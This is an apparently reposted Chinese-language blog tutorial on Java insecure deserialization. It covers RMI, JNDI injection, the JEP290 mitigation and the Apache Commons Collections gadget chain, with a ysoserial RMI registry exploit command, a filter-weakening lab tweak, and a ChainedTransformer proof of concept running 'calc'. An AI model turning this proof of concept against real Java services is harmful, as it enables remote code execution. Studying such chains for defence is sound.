不安全的反序列化


反序列化拓展

RMI

Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化

ps:实验要修改/jdk1.8.0_191/jre/lib/security/java.security文件

#sun.rmi.registry.registryFilter=/
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"

JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。

不安全的反序列化

当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。

  1. 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
  2. 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
  3. 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
  4. 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。

JEP290

JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。

Apache Commons Collections反序列化漏洞

org/apache/commons/collections/functors/InvokerTransformer#transform中存在一段利用反射技术执行任意Java代码的代码,如下所示,当input变量可控时,可以通过反射执行任意类的任意方法。transform方法的关键代码如下:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } 
			//省略
        }
    }

因此Runtime对象不可被序列化,所以在反序列化的利用场景中无法直接控制input为Runtime对象

org/apache/commons/collections/functors/ChainedTransformer#transform中,通过遍历this.iTransformers来调用数组中每一个对象的transform方法。结合上面的代码,可以构造出链式调用Runtime.getRuntime().exec(“calc”),此时便成功向系统注入了一个Runtime对象,完成了任意代码执行,这便是Commons Collection反序列化漏洞的核心。

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }   
    public Object transform(Object input) {
        return this.iConstant;
    }

利用ChainedTransformer执行系统命令PoC的源码如下:

public static void main(String[] args){
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }

ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

有了能够执行任意代码的利用点,还需要一个反序列化的触发点,也就是调用某个类的readObject方法。当某个类的readObject方法可以通过一定的代码逻辑到达漏洞的利用点时,就可以利用它进行漏洞的触发。根据readObjet所属类的不同和中间逻辑代码的不同,Commons Collection3.1版本反序列化漏洞存在若干版本的利用链。ysoserial反序列化利用工具中提供了几种利用方式。

CommonsCollections6的利用链:

Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()		

原创文章,作者:端木书台,如若转载,请注明出处:https://blog.ytso.com/277965.html

(0)
上一篇 2022年7月31日
下一篇 2022年7月31日

相关推荐

发表回复

登录后才能评论